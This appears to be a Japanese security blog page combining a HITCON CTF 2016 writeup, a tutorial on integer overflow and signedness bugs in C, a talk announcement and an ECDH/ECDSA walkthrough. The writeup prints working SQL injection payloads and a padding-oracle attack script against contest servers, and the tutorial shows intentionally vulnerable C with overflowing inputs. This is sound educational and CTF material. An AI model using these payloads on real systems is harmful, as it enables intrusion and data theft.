HITCON CTF 2016 Quals 供養(Writeup)

HITCON CTF 2016 Qualsに一人チームで参加した。結果は500ptで103位。 たいした問題は解けてないが、供養。

Welcome (Reverse 50)

サービス問題。

$ python
Python 2.7.6 (default, Jun 22 2015, 17:58:13)
[GCC 4.8.2] on linux2
Type "help", "copyright", "credits" or "license" for more information.
>>> print '}FTC NOCTIH ot emocleW{noctih'[::-1]
hitcon{Welcome to HITCON CTF}

Handcrafted pyc (Reverse 50)

Python 2.7のバイトコードを読む問題。

とりあえず適当なpycファイルからヘッダ8バイトを持ってきてpycファイルを作り、disモジュールを使ったディスアセンブルコードをもとにディスアセンブルしてみる(なお、コードの一部が間違っていたので修正した)。

#!/usr/bin/env python
# -*- coding: utf-8 -*-

import marshal, zlib, base64

code_obj = (marshal.loads(zlib.decompress(base64.b64decode('eJyNVktv00AQXm/eL0igiaFA01IO4cIVCUGFBBJwqRAckLhEIQmtRfPwI0QIeio/hRO/hJ/CiStH2M/prj07diGRP43Hs9+MZ2fWMxbnP6mux+oK9xVMHPFViLdCTB0xkeKDFEFfTIU4E8KZq8dCvB4UlN3hGEsdddXU9QTLv1eFiGKGM4cKUgsFCNLFH7dFrS9poayFYmIZm1b0gyqxMOwJaU3r6xs9sW1ooakXuRv+un7Q0sIlLVzOCZq/XtsK2oTSYaZlStogXi1HV0iazoN2CV2HZeXqRQ54TlJRb7FUlKyUatISsdzo+P7UU1Gb1POdMruckepGwk9tIXQTftz2yBaT5JQovWvpSa6poJPuqgao+b9l5Aj/R+mLQIP4f6Q8Vb3g/5TB/TJxWGdZr9EQrmn99fwKtTvAZGU7wzS7GNpZpDm2JgCrr8wrmPoo54UqGampFIeS9ojXjc4E2yI06bq/4DRoUAc0nVnng4k6p7Ks0+j/S8z9V+NZ5dhmrJUM/y7JTJeRtnJ2TSYJvsFq3CQt/vnfqmQXt5KlpuRcIvDAmhnn2E0t9BJ3SvB/SfLWhuOWNiNVZ+h28g4wlwUp00w95si43rZ3r6+fUIEdgOZbQAsyFRRvBR6dla8KCzRdslar7WS+a5HFb39peIAmG7uZTHVm17Czxju4m6bayz8e7J40DzqM0jr0bmv9PmPvk6y5z57HU8wdTDHeiUJvBMAM4+0CpoAZ4BPgJeAYEAHmgAUgAHiAj4AVAGORtwd4AVgC3gEmgBBwCPgMWANOAQ8AbwBHgHuAp4D3gLuARwoGmNUizF/j4yDC5BWM1kNvvlxFA8xikRrBxHIUhutFMBlgQoshhPphGAXe/OggKqqb2cibxwuEXjUcQjccxi5eFRL1fDSbKrUhy2CMb2aLyepkegDWsBwPlrVC0/kLHmeCBQ=='))))
print '\x03\xf3\x0d\x0a\x61\x79\xe6\x57' + marshal.dumps(code_obj)
# http://nedbatchelder.com/blog/200804/the_structure_of_pyc_files.html
import dis, marshal, struct, sys, time, types

def show_file(fname):
    f = open(fname, "rb")
    magic = f.read(4)
    moddate = f.read(4)
    modtime = time.asctime(time.localtime(struct.unpack('I', moddate)[0]))
    print "magic %s" % (magic.encode('hex'))
    print "moddate %s (%s)" % (moddate.encode('hex'), modtime)
    code = marshal.load(f)
    show_code(code)

def show_code(code, indent=''):
    print "%scode" % indent
    indent += '   '
    print "%sargcount %d" % (indent, code.co_argcount)
    print "%snlocals %d" % (indent, code.co_nlocals)
    print "%sstacksize %d" % (indent, code.co_stacksize)
    print "%sflags %04x" % (indent, code.co_flags)
    show_hex("code", code.co_code, indent=indent)
    dis.disassemble(code)
    print "%sconsts" % indent
    for const in code.co_consts:
        if type(const) == types.CodeType:
            show_code(const, indent+'   ')
        else:
            print "   %s%r" % (indent, const)
    print "%snames %r" % (indent, code.co_names)
    print "%svarnames %r" % (indent, code.co_varnames)
    print "%sfreevars %r" % (indent, code.co_freevars)
    print "%scellvars %r" % (indent, code.co_cellvars)
    print "%sfilename %r" % (indent, code.co_filename)
    print "%sname %r" % (indent, code.co_name)
    print "%sfirstlineno %d" % (indent, code.co_firstlineno)
    show_hex("lnotab", code.co_lnotab, indent=indent)

def show_hex(label, h, indent):
    h = h.encode('hex')
    if len(h) < 60:
        print "%s%s %s" % (indent, label, h)
    else:
        print "%s%s" % (indent, label)
        for i in range(0, len(h), 60):
            print "%s   %s" % (indent, h[i:i+60])

show_file(sys.argv[1])
$ python crackme.py >crackme.pyc

$ python show_file.py crackme.pyc
magic 03f30d0a
moddate 6179e657 (Sat Sep 24 22:02:25 2016)
code
   argcount 0
   nlocals 0
   stacksize 2
   flags 0040
   code
      6401008400005a00006501006402006b0200721f00650000830000016e00
      0064000053
  1           0 LOAD_CONST               1 (<code object main at 0x7f20b73a6db0, file "<string>", line 1>)
              3 MAKE_FUNCTION            0
              6 STORE_NAME               0 (main)

  4           9 LOAD_NAME                1 (__name__)
             12 LOAD_CONST               2 ('__main__')
             15 COMPARE_OP               2 (==)
             18 POP_JUMP_IF_FALSE       31

  5          21 LOAD_NAME                0 (main)
             24 CALL_FUNCTION            0
             27 POP_TOP
             28 JUMP_FORWARD             0 (to 31)
        >>   31 LOAD_CONST               0 (None)
             34 RETURN_VALUE
   consts
      None
      code
         argcount 0
         nlocals 1
         stacksize 9
         flags 0043
         code
            740000640100830100740000640100830100740000640200830100740000
            640300830100021702170217740000640400830100740000640500830100
            (snip)
            021702170217740000642200830100740000642300830100740000640400
            830100740000641f0083010002170217021717171717474864000053
  1           0 LOAD_GLOBAL              0 (chr)
              3 LOAD_CONST               1 (108)
              6 CALL_FUNCTION            1
              9 LOAD_GLOBAL              0 (chr)
             12 LOAD_CONST               1 (108)
             15 CALL_FUNCTION            1
             18 LOAD_GLOBAL              0 (chr)
             21 LOAD_CONST               2 (97)
             24 CALL_FUNCTION            1
             27 LOAD_GLOBAL              0 (chr)
             30 LOAD_CONST               3 (67)
             33 CALL_FUNCTION            1
             36 ROT_TWO
             37 BINARY_ADD
             38 ROT_TWO
             39 BINARY_ADD
             40 ROT_TWO
             41 BINARY_ADD
             42 LOAD_GLOBAL              0 (chr)
             45 LOAD_CONST               4 (32)
             48 CALL_FUNCTION            1
             51 LOAD_GLOBAL              0 (chr)
             54 LOAD_CONST               5 (101)
             57 CALL_FUNCTION            1
             60 LOAD_GLOBAL              0 (chr)
             63 LOAD_CONST               6 (109)
             66 CALL_FUNCTION            1
             69 LOAD_GLOBAL              0 (chr)
             72 LOAD_CONST               4 (32)
             75 CALL_FUNCTION            1
             78 ROT_TWO
             79 BINARY_ADD
             80 ROT_TWO
             81 BINARY_ADD
             82 ROT_TWO
             83 BINARY_ADD
             84 BINARY_ADD
                (snip)
            741 JUMP_ABSOLUTE          759
        >>  744 LOAD_GLOBAL              1 (raw_input)
            747 JUMP_ABSOLUTE         1480
        >>  750 LOAD_FAST                0 (password)
            753 COMPARE_OP               2 (==)
            756 JUMP_ABSOLUTE          767
        >>  759 ROT_TWO
            760 STORE_FAST               0 (password)
            763 POP_TOP
            764 JUMP_ABSOLUTE          744
        >>  767 POP_JUMP_IF_FALSE     1591
                (snip)
           2217 RETURN_VALUE
         consts
            None
            108
            97
            (snip)
            61
         names ('chr', 'raw_input')
         varnames ('password',)
         freevars ()
         cellvars ()
         filename '<string>'
         name 'main'
         firstlineno 1
         lnotab
      '__main__'
   names ('main', '__name__')
   varnames ()
   freevars ()
   cellvars ()
   filename '<string>'
   name '<module>'
   firstlineno 1
   lnotab 000009030c01

ディスアセンブルされたコードを読むと、767バイト目のPOP_JUMP_IF_FALSEで正否判定しているようなので、バイトコードの定義を見つつPOP_JUMP_IF_TRUEに書き換えて実行してみる。

152: jabs_op('POP_JUMP_IF_FALSE', 114)    # ""
153: jabs_op('POP_JUMP_IF_TRUE', 115)     # ""
#!/usr/bin/env python
# -*- coding: utf-8 -*-

import marshal, zlib, base64

bytecode = zlib.decompress(base64.b64decode('eJyNVktv00AQXm/eL0igiaFA01IO4cIVCUGFBBJwqRAckLhEIQmtRfPwI0QIeio/hRO/hJ/CiStH2M/prj07diGRP43Hs9+MZ2fWMxbnP6mux+oK9xVMHPFViLdCTB0xkeKDFEFfTIU4E8KZq8dCvB4UlN3hGEsdddXU9QTLv1eFiGKGM4cKUgsFCNLFH7dFrS9poayFYmIZm1b0gyqxMOwJaU3r6xs9sW1ooakXuRv+un7Q0sIlLVzOCZq/XtsK2oTSYaZlStogXi1HV0iazoN2CV2HZeXqRQ54TlJRb7FUlKyUatISsdzo+P7UU1Gb1POdMruckepGwk9tIXQTftz2yBaT5JQovWvpSa6poJPuqgao+b9l5Aj/R+mLQIP4f6Q8Vb3g/5TB/TJxWGdZr9EQrmn99fwKtTvAZGU7wzS7GNpZpDm2JgCrr8wrmPoo54UqGampFIeS9ojXjc4E2yI06bq/4DRoUAc0nVnng4k6p7Ks0+j/S8z9V+NZ5dhmrJUM/y7JTJeRtnJ2TSYJvsFq3CQt/vnfqmQXt5KlpuRcIvDAmhnn2E0t9BJ3SvB/SfLWhuOWNiNVZ+h28g4wlwUp00w95si43rZ3r6+fUIEdgOZbQAsyFRRvBR6dla8KCzRdslar7WS+a5HFb39peIAmG7uZTHVm17Czxju4m6bayz8e7J40DzqM0jr0bmv9PmPvk6y5z57HU8wdTDHeiUJvBMAM4+0CpoAZ4BPgJeAYEAHmgAUgAHiAj4AVAGORtwd4AVgC3gEmgBBwCPgMWANOAQ8AbwBHgHuAp4D3gLuARwoGmNUizF/j4yDC5BWM1kNvvlxFA8xikRrBxHIUhutFMBlgQoshhPphGAXe/OggKqqb2cibxwuEXjUcQjccxi5eFRL1fDSbKrUhy2CMb2aLyepkegDWsBwPlrVC0/kLHmeCBQ=='))

i = bytecode.index('740000640100830100740000640100830100740000640200830100740000'.decode('hex'))
i += bytecode[i:].index(chr(114))
bytecode = bytecode[:i] + chr(115) + bytecode[i+1:]

exec(marshal.loads(bytecode))
$ python crackme2.py
password:
hitcon{Now you can compile and run Python bytecode in your brain!}

Are you rich? (Web 50)

SQL injection問題。

i1EJG83Y35Pa3ReiiEjwmPiDXonmpdnm3WKA' UNION SELECT table_name FROM information_schema.columns LIMIT 1 OFFSET 61 #
=> Error!: Remote API server reject your invalid address 'flag1'. If your address is valid, please PM @cebrusfs or other admin on IRC.

1EJG83Y35Pa3ReiiEjwmPiDXonmpdnm3WKA' UNION SELECT column_name FROM information_schema.columns WHERE table_name = 'flag1' #
=> Error!: Remote API server reject your invalid address 'flag'. If your address is valid, please PM @cebrusfs or other admin on IRC.

1EJG83Y35Pa3ReiiEjwmPiDXonmpdnm3WKA' UNION SELECT flag FROM flag1 #
=> Error!: Remote API server reject your invalid address 'hitcon{4r3_y0u_r1ch?ju57_buy_7h3_fl4g!!}'. If your address is valid, please PM @cebrusfs or other admin on IRC.

Are you rich 2 ? (Web 100)

SQL injection問題の続き。 テーブル定義を見ると、入力したビットコインアドレスがissued_addressテーブルに入っているかを確認した上で残高を問い合わせているようなので、次のようにしてissued_addressテーブルにお金持ちのアドレスが入っているように誤認識させた(?)。

1EJG83Y35Pa3ReiiEjwmPiDXonmpdnm3WKA' UNION SELECT table_name FROM information_schema.columns LIMIT 1 OFFSET 62 #
=> Error!: Remote API server reject your invalid address 'issued_address'. If your address is valid, please PM @cebrusfs or other admin on IRC.

1EJG83Y35Pa3ReiiEjwmPiDXonmpdnm3WKA' UNION SELECT '3Nxwenay9Z8Lc9JBiywExpnEFiLp6Afp8v' FROM issued_address #
=> Well done!
   Aww yeah, you successfully read this important message. Thank you for buying flag.
   Here's your flag: Flag2 is: hitcon{u51n6_07h3r_6uy5_b17c0n_70_byp455_ch3ck1n6_15_fun!!}

Let's Decrypt (Crypto 100)

CBCモードに対するPadding oracle attackを行い、既知平文からIVを求める問題。

接続すると、次のようにしてソースコードが得られる。

1) Show me the source
2) Let's decrypt
1
#!/usr/bin/env ruby
require 'openssl'
require 'timeout'

$stdout.sync = true
Dir.chdir(File.dirname(__FILE__))

class String
  def enhex
    self.unpack('H*')[0]
  end

  def dehex
    [self].pack('H*')
  end
end

flag = IO.read('flag')
KEY = IV = flag[/hitcon\{(.*)\}/, 1]
fail unless KEY.size == 16

def aes(s, mode)
  cipher = OpenSSL::Cipher::AES128.new(:CBC)
  cipher.send(mode)
  cipher.key = KEY
  cipher.iv = IV
  cipher.update(s) + cipher.final
end

def encrypt(s); aes(s, :encrypt) end
def decrypt(s); aes(s, :decrypt) end

m = 'The quick brown fox jumps over the lazy dog'
c = encrypt(m)
fail unless c.enhex == '4a5b8d0034e5469c071b60000ca134d9e04f07e4dcd6cf096b47ba48b357814e4a89ef1cfad33e1dd28b892ba7233285'
fail unless c.enhex.dehex == c
fail unless decrypt(c) == m

begin
  Timeout::timeout(30) do
    puts '1) Show me the source'
    puts "2) Let's decrypt"
    cmd = gets.to_i
    case cmd
    when 1
      puts IO.read(__FILE__)
    when 2
      c = gets.chomp.dehex
      m = decrypt(c)
      puts m.enhex
    else
      puts '...meow?'
    end
  end
rescue Timeout::Error
  puts 'Timeout ._./'
end

復号に失敗したとき例外エラーのメッセージが返ってくるので、これをもとに1番目の暗号文ブロックに繋がる暗号文ブロックを探す。 見つかったら、下図を参考に1番目の平文ブロックおよびパディングとXORを取ることでIVを得る。

f:id:inaz2:20161010131228p:plain

import socket

def xor(a, b):
    return ''.join(chr(ord(x) ^ ord(y)) for x, y in zip(a, b))

c0 = '4a5b8d0034e5469c071b60000ca134d9e04f07e4dcd6cf096b47ba48b357814e4a89ef1cfad33e1dd28b892ba7233285'.decode('hex')[:16]
m0 = 'The quick brown fox jumps over the lazy dog'[:16]

"""
x = []
for i in xrange(16):
    for c in xrange(256):
        s = socket.create_connection(('52.69.125.71', 4443))
        s.recv(8192)
        s.recv(8192)
        s.sendall('2\n')
        buf = chr(c)
        buf += ''.join(chr(c) for c in x)
        buf = buf.rjust(16, '\x00')
        print "%r" % buf
        buf += c0
        s.sendall(buf.encode('hex') + '\n')
        result = s.recv(8192)
        if not "/home/letsdecrypt/letsdecrypt.rb:27:in `final'" in result:
            x = [c] + x
            print ''.join(chr(c) for c in x)
            x = [c ^ (i+1) ^ (i+2) for c in x]
            break
    else:
        break
"""

x = '\x16L\x1bTQ\x08Y:-\x10\x02\x0e\x05G&t'
print xor(xor(x, m0), '\x10'*16)
$ python solve.py
R4nd0m IV plz XD

Hackpad (Crypto 150)

CBCモードに対するPadding oracle attackのログから復号された文字列を求める問題。

まずはpcapファイルから復号に成功したメッセージの列を取り出す。

$ strings hackpad.pcap | grep -e '^msg=' -e '\md5' | grep -B1 '^md5' | grep '^msg=' >msgs.txt

$ head msgs.txt
msg=3ed2e01c1d1248125c67ac637384a22d997d9369c74c82abba4cc3b1bfc65f026c957ff0feef61b161cfe3373c2d9b905639aa3688659566d9acc93bb72080f7e5ebd643808a0e50e1fc3d16246afcf688dfedf02ad4ae84fd92c5c53bbd98f08b21d838a3261874c4ee3ce8fbcb96628d5706499dd985ec0c13573eeee03766f7010a867edfed92c33233b17a9730eb4a82a6db51fa6124bfc48ef99d669e21740d12656f597e691bbcbaa67abe1a09f02afc37140b167533c7536ab2ecd4ed37572fc9154d23aa7d8c92b84b774702632ed2737a569e4dfbe01338fcbb2a77ddd6990ce169bb4f48e1ca96d30eced23b6fe5b875ca6481056848be0fbc26bcbffdfe966da4221103408f459ec1ef12c72068bc1b96df045d3fa12cc2a9dcd162ffdf876b3bc3a3ed2373559bcbe3f470a8c695bf54796bfe471cd34b463e9876212df912deef882b657954d7dada47
msg=00000000000000000000000000000000997d9369c74c82abba4cc3b1bfc65f02
msg=00000000000000000000000000000000997d9369c74c82abba4cc3b1bfc65f02
msg=0000000000000000000000000000d903997d9369c74c82abba4cc3b1bfc65f02
msg=00000000000000000000000000efd802997d9369c74c82abba4cc3b1bfc65f02
msg=00000000000000000000000007e8df05997d9369c74c82abba4cc3b1bfc65f02
msg=00000000000000000000000706e9de04997d9369c74c82abba4cc3b1bfc65f02
msg=00000000000000000000d80405eadd07997d9369c74c82abba4cc3b1bfc65f02
msg=00000000000000000007d90504ebdc06997d9369c74c82abba4cc3b1bfc65f02
msg=00000000000000003b08d60a0be4d309997d9369c74c82abba4cc3b1bfc65f02

あとは、特定された文字を順番に計算して繋げていく。

import re

with open('msgs.txt') as f:
    data = f.read()
    lines = data.splitlines()

ck = re.findall(r'\w{32}', lines[0][4:])

s = ''
for j in xrange(20):
    c = ck[j].decode('hex')
    for i in xrange(16):
        x = lines[16*j+i+2][4:][:32]
        x = x.decode('hex')
        y = ''.join(chr(ord(a) ^ ord(b) ^ (i+1)) for a, b in zip(c, x))
        print "%r" % y
    s += y

print s
$ python solve.py
'?\xd3\xe1\x1d\x1c\x13I\x13]f\xadbr\x85\xa3,'
'<\xd0\xe2\x1e\x1f\x10J\x10^e\xaeaq\x86y,'
'=\xd1\xe3\x1f\x1e\x11K\x11_d\xaf`phy,'
':\xd6\xe4\x18\x19\x16L\x16Xc\xa8gphy,'
';\xd7\xe5\x19\x18\x17M\x17Yb\xa9aphy,'
'8\xd4\xe6\x1a\x1b\x14N\x14Zaraphy,'
'9\xd5\xe7\x1b\x1a\x15O\x15[graphy,'
'6\xda\xe8\x14\x15\x1a@\x1aography,'
'7\xdb\xe9\x15\x14\x1bAtography,'
'4\xd8\xea\x16\x17\x18ptography,'
'5\xd9\xeb\x17\x16yptography,'
'2\xde\xec\x10ryptography,'
'3\xdf\xedcryptography,'
'0\xdc cryptography,'
'1n cryptography,'
'In cryptography,'
'\x98|\x92h\xc6M\x83\xaa\xbbM\xc2\xb0\xbe\xc7^l'
(snip)
'tive.\n\n\n\n\n\n\n\n\n\n\n'
In cryptography, a padding oracle attack is an attack which is performed using the padding of a cryptographic message.
hitcon{H4cked by a de1ici0us pudding '3'}
In cryptography, variable-length plaintext messages often have to be padded (expanded) to be compatible with the underlying cryptographic primitive.

所感

例によって、Pwn、Reverseカテゴリがまったくダメで厳しい。 他には、下記の問題を主に見ていた。

  • Secret Holder (pwn 100)
  • Secure Posts (web 50)
  • Secure Posts 2 (web 150)
  • %%% (web, orange 100)
  • Baby Trick (web, orange 200)
  • Leaking (web, orange 200)

Secure Postsが解けなかったのが痛い。

関連リンク

整数オーバーフローと符号エラー

整数に関係するバグについてのメモ。

環境

Ubuntu 14.04.4 LTS 64bit版

$ uname -a
Linux vm-ubuntu64 3.19.0-25-generic #26~14.04.1-Ubuntu SMP Fri Jul 24 21:16:20 UTC 2015 x86_64 x86_64 x86_64 GNU/Linux

$ lsb_release -a
No LSB modules are available.
Distributor ID: Ubuntu
Description:    Ubuntu 14.04.4 LTS
Release:        14.04
Codename:       trusty

$ gcc --version
gcc (Ubuntu 4.8.4-2ubuntu1~14.04.3) 4.8.4

整数オーバーフロー(Integer Overflow)

整数オーバーフローは、演算の結果、整数が表現できる最大値を越えてしまうことにより発生するバグである。

/* integer_overflow.c */
#include <stdio.h>
#include <stdlib.h>

int main()
{
    char buf[40];
    int n;

    scanf("%d", &n);
    printf("n+1 == %d\n", n+1);
    if (n+1 > sizeof(buf)) {
        puts("too long!");
        exit(1);
    }

    read(0, buf, n);

    return 0;
}

上のコードではバッファサイズのチェックが行われているが、次のように4294967295(=232-1)を与えたときチェックを通過してしまう。

$ gcc integer_overflow.c

$ ./a.out
10
n+1 == 11
AAAA

$ ./a.out
80
n+1 == 81
too long!

$ python
Python 2.7.6 (default, Jun 22 2015, 17:58:13)
[GCC 4.8.2] on linux2
Type "help", "copyright", "credits" or "license" for more information.
>>> (1<<32)-1
4294967295
>>>

$ ./a.out
4294967295
n+1 == 0
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
*** stack smashing detected ***: ./a.out terminated
Aborted (core dumped)

これを防ぐには、入力に依存しない箇所で計算を行うようにすればよい。

--- integer_overflow.c  2016-09-27 15:23:56.920312000 +0900
+++ patched/integer_overflow.c  2016-09-27 15:24:30.728312000 +0900
@@ -9,7 +9,7 @@

     scanf("%d", &n);
     printf("n+1 == %d\n", n+1);
-    if (n+1 > sizeof(buf)) {
+    if (n > sizeof(buf)-1) {
         puts("too long!");
         exit(1);
     }

符号エラー(Signedness Error)

符号エラーは、符号付き整数が符号なし整数として扱われる、あるいはその逆が起こることにより発生するバグである。

/* signedness_error.c */
#include <stdio.h>
#include <stdlib.h>

int main()
{
    char buf[40];
    int n;

    scanf("%d", &n);
    if (n > 40) {
        puts("too long!");
        exit(1);
    }

    read(0, buf, n);

    return 0;
}

上のコードではバッファサイズのチェックが行われているが、次のように-1を与えたときチェックを通過してしまう。

$ gcc signedness_error.c

$ ./a.out
10
AAAA

$ ./a.out
80
too long!

$ ./a.out
-1
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
*** stack smashing detected ***: ./a.out terminated
Aborted (core dumped)

$ strace ./a.out
execve("./a.out", ["./a.out"], [/* 21 vars */]) = 0
brk(0)                                  = 0x1178000
access("/etc/ld.so.nohwcap", F_OK)      = -1 ENOENT (No such file or directory)
mmap(NULL, 8192, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x7f5d72941000
access("/etc/ld.so.preload", R_OK)      = -1 ENOENT (No such file or directory)
open("/etc/ld.so.cache", O_RDONLY|O_CLOEXEC) = 3
fstat(3, {st_mode=S_IFREG|0644, st_size=37010, ...}) = 0
mmap(NULL, 37010, PROT_READ, MAP_PRIVATE, 3, 0) = 0x7f5d72937000
close(3)                                = 0
access("/etc/ld.so.nohwcap", F_OK)      = -1 ENOENT (No such file or directory)
open("/lib/x86_64-linux-gnu/libc.so.6", O_RDONLY|O_CLOEXEC) = 3
read(3, "\177ELF\2\1\1\0\0\0\0\0\0\0\0\0\3\0>\0\1\0\0\0P \2\0\0\0\0\0"..., 832) = 832
fstat(3, {st_mode=S_IFREG|0755, st_size=1840928, ...}) = 0
mmap(NULL, 3949248, PROT_READ|PROT_EXEC, MAP_PRIVATE|MAP_DENYWRITE, 3, 0) = 0x7f5d7235c000
mprotect(0x7f5d72516000, 2097152, PROT_NONE) = 0
mmap(0x7f5d72716000, 24576, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_DENYWRITE, 3, 0x1ba000) = 0x7f5d72716000
mmap(0x7f5d7271c000, 17088, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS, -1, 0) = 0x7f5d7271c000
close(3)                                = 0
mmap(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x7f5d72936000
mmap(NULL, 8192, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x7f5d72934000
arch_prctl(ARCH_SET_FS, 0x7f5d72934740) = 0
mprotect(0x7f5d72716000, 16384, PROT_READ) = 0
mprotect(0x600000, 4096, PROT_READ)     = 0
mprotect(0x7f5d72943000, 4096, PROT_READ) = 0
munmap(0x7f5d72937000, 37010)           = 0
fstat(0, {st_mode=S_IFCHR|0620, st_rdev=makedev(136, 0), ...}) = 0
mmap(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x7f5d72940000
read(0, -1
"-1\n", 1024)                   = 3
read(0, AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"..., 4294967295) = 49
open("/dev/tty", O_RDWR|O_NOCTTY|O_NONBLOCK) = 3
writev(3, [{"*** ", 4}, {"stack smashing detected", 23}, {" ***: ", 6}, {"./a.out", 7}, {" terminated\n", 12}], 5*** stack smashing detected ***: ./a.out terminated
) = 52
mmap(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x7f5d7293f000
rt_sigprocmask(SIG_UNBLOCK, [ABRT], NULL, 8) = 0
gettid()                                = 4558
tgkill(4558, 4558, SIGABRT)             = 0
--- SIGABRT {si_signo=SIGABRT, si_code=SI_TKILL, si_pid=4558, si_uid=1000} ---
+++ killed by SIGABRT (core dumped) +++
Aborted (core dumped)

straceコマンドの結果から、チェックを通過した-1がread関数では符号なし整数4294967295として扱われていることがわかる。

これを防ぐには、最初から符号なし整数として宣言すればよい。

--- signedness_error.c  2016-09-27 15:50:22.524312000 +0900
+++ patched/signedness_error.c  2016-09-27 15:50:51.888312000 +0900
@@ -5,7 +5,7 @@
 int main()
 {
     char buf[40];
-    int n;
+    unsigned int n;

     scanf("%d", &n);
     if (n > 40) {

関連リンク

「HTTPプロクシライブラリproxy2の設計と実装」というタイトルで発表した

PyCon JP 2016で以前作ったPython製HTTPプロクシライブラリについて発表した。

きちんとPython 3対応にした状態で発表できなかったのが少し心残りではあるが、以前の発表であまり触れられなかった実装面のあれこれについてまとめることができてよかった。 また、Accept-Encodingの扱いが雑で、うまくいかないケースが出てきていることに気づけたという点でも、よい機会だった。

スタッフ、参加者の方とも交流することができ、楽しいイベントでした。 PyCon JPスタッフのみなさま、ありがとうございました。

Pari/GPでECDH鍵交換、ECDSA署名をやってみる

TLS 1.2では、楕円曲線暗号であるECDH鍵交換、ECDSA署名を使うことができる。 ここでは、数式処理システムPari/GPを使ってこれらの計算をやってみる。

環境

Ubuntu 14.04.4 LTS 64bit版、Pari/GP 2.5.5

$ uname -a
Linux vm-ubuntu64 3.19.0-25-generic #26~14.04.1-Ubuntu SMP Fri Jul 24 21:16:20 UTC 2015 x86_64 x86_64 x86_64 GNU/Linux

$ lsb_release -a
No LSB modules are available.
Distributor ID: Ubuntu
Description:    Ubuntu 14.04.4 LTS
Release:        14.04
Codename:       trusty

$ gp --version-short
2.5.5

ECDH、ECDSAが使われている通信を見てみる

一例として、GoogleへのTLS通信では現時点でECDH、ECDSAが使われている。 実際に通信をWiresharkで確認した結果を次に示す。

Frame 31: 1294 bytes on wire (10352 bits), 1294 bytes captured (10352 bits) on interface 0
(snip)
Secure Sockets Layer
    TLSv1.2 Record Layer: Handshake Protocol: Server Hello
        Content Type: Handshake (22)
        Version: TLS 1.2 (0x0303)
        Length: 76
        Handshake Protocol: Server Hello
            Handshake Type: Server Hello (2)
            Length: 72
            Version: TLS 1.2 (0x0303)
            Random
            Session ID Length: 0
            Cipher Suite: TLS_ECDHE_ECDSA_WITH_AES_128_GCM_SHA256 (0xc02b)
            Compression Method: null (0)
            Extensions Length: 32
            Extension: renegotiation_info
            Extension: server_name
            Extension: Extended Master Secret
            Extension: SessionTicket TLS
            Extension: Application Layer Protocol Negotiation
            Extension: ec_point_formats

Frame 35: 401 bytes on wire (3208 bits), 401 bytes captured (3208 bits) on interface 0
(snip)
Secure Sockets Layer
    TLSv1.2 Record Layer: Handshake Protocol: Certificate
        Content Type: Handshake (22)
        Version: TLS 1.2 (0x0303)
        Length: 3739
        Handshake Protocol: Certificate
            Handshake Type: Certificate (11)
            Length: 3735
            Certificates Length: 3732
            Certificates (3732 bytes)
                Certificate Length: 1814
                Certificate: 30820712308205faa00302010202082e7dfcf07569326730... (id-at-commonName=*.google.com,id-at-organizationName=Google Inc,id-at-localityName=Mountain View,id-at-stateOrProvinceName=California,id-at-countryName=US)
                    signedCertificate
                        version: v3 (2)
                        serialNumber: 3350111807525696103
                        signature (sha256WithRSAEncryption)
                        issuer: rdnSequence (0)
                        validity
                        subject: rdnSequence (0)
                        subjectPublicKeyInfo
                            algorithm (id-ecPublicKey)
                                Algorithm Id: 1.2.840.10045.2.1 (id-ecPublicKey)
                                ECParameters: namedCurve (0)
                                    namedCurve: 1.2.840.10045.3.1.7 (secp256r1)
                            Padding: 0
                            subjectPublicKey: 041094b0ae65b5baa7e408de4694ca8fcb7275db3a2c3722...
                        extensions: 9 items
                    algorithmIdentifier (sha256WithRSAEncryption)
                    Padding: 0
                    encrypted: 35bb7787aa57a4981d93b867e05e1e04c7030d051803f818...
                Certificate Length: 1012
                Certificate: 308203f0308202d8a0030201020203023a92300d06092a86... (id-at-commonName=Google Internet Authority G2,id-at-organizationName=Google Inc,id-at-countryName=US)
                Certificate Length: 897
                Certificate: 3082037d308202e6a003020102020312bbe6300d06092a86... (id-at-commonName=GeoTrust Global CA,id-at-organizationName=GeoTrust Inc.,id-at-countryName=US)
Secure Sockets Layer
    TLSv1.2 Record Layer: Handshake Protocol: Server Key Exchange
        Content Type: Handshake (22)
        Version: TLS 1.2 (0x0303)
        Length: 148
        Handshake Protocol: Server Key Exchange
            Handshake Type: Server Key Exchange (12)
            Length: 144
            EC Diffie-Hellman Server Params
                Curve Type: named_curve (0x03)
                Named Curve: secp256r1 (0x0017)
                Pubkey Length: 65
                Pubkey: 0480168e3311d4762dad286445c3bafd6f884e14720c882f...
                Signature Hash Algorithm: 0x0603
                    Signature Hash Algorithm Hash: SHA512 (6)
                    Signature Hash Algorithm Signature: ECDSA (3)
                Signature Length: 71
                Signature: 3045022100f0e6e6cfe84c316f6a3b0a66e7250c4610f3e8...
    TLSv1.2 Record Layer: Handshake Protocol: Server Hello Done

Frame 47: 200 bytes on wire (1600 bits), 200 bytes captured (1600 bits) on interface 0
(snip)
Secure Sockets Layer
    TLSv1.2 Record Layer: Handshake Protocol: Client Key Exchange
        Content Type: Handshake (22)
        Version: TLS 1.2 (0x0303)
        Length: 70
        Handshake Protocol: Client Key Exchange
            Handshake Type: Client Key Exchange (16)
            Length: 66
            EC Diffie-Hellman Client Params
                Pubkey Length: 65
                Pubkey: 0450324b47117a7e0b967e798b9ce8e4147439e403d36191...
    TLSv1.2 Record Layer: Change Cipher Spec Protocol: Change Cipher Spec
    TLSv1.2 Record Layer: Handshake Protocol: Multiple Handshake Messages

